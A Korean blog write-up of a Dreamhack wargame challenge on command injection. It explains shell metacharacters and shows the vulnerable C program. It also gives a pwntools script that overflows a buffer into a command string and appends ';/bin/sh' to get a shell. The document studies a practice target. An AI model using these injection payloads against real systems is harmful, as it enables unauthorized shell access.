[Dreamhack] Systemhacking - Command Injection

chrmqgozj·2025년 1월 14일

DreamHack

목록 보기
11/39

삘 받은 김에 쭉 하자

  1. 개념
    Injection: 악의적인 데이터를 프로그램에 입력하여 실행되도록 하는 방법
    Command Injection: 명령어를 실행해주는 함수를 잘못 사용하여 발생하는 취약점. 인젝션 중에서도 사용자의 입력을 시스템 명령어로 실행하게 하는 것

1.1. Command Injection
명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생

system('ping [user-input]')
system('cat [user-input]') 

사용자가 입력한 임의 IP에 ping 전송하거나 임의 파일을 읽을 때 활용 가능

사용자 입력을 제대로 검사하지 않으면 이상한 명령어가 실행될 수 있다.
이는 리눅스 셸 프로그램이 지원하는 여러 메타 문자 때문!

system 함수는 명령어를 스스로 실행하는게 아니라 셸 프로그램에 명령어를 전달하여 실행한다.
셸 프로그램은 다양한 메타 문자를 지원함

특히 &&, ;, | 는 여러 개의 명령어를 연속 실행 가능하도록 해준다.

127.0.0.1; /bin/sh

ping에 ip 전달하면서 /bin/sh까지 실행

  1. cmd_center
    2.1. 보안기법

카나리 빼고 다 있다

2.2. cmd_center.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}
  • center_name 사용자 입력
  • cmd_ip == ifconfig여야 system 실행

2.3. 설계
근데 cmd_ip랑 ifconfig 8자리만 비교하는데...?
그러면 cmd_ip 뒤에 다른 뭐가 붙어도 상관 없는거 아닌가

center_name: rbp-0x130
cmd_ip: rbp-0x110

cmd_ip가 카나리 역할

payload = b'A' 0x18 + b'B' 0x8 + b'ifconfig;/bin/sh'

2.4. exploit.py

from pwn import *

p = remote('host1.dreamhack.games', 20630)

payload = b'A' * 0x18 + b'B' * 0x8 + b'ifconfig;/bin/sh'
p.sendafter(b'Center name: ', payload)

p.interactive()

0개의 댓글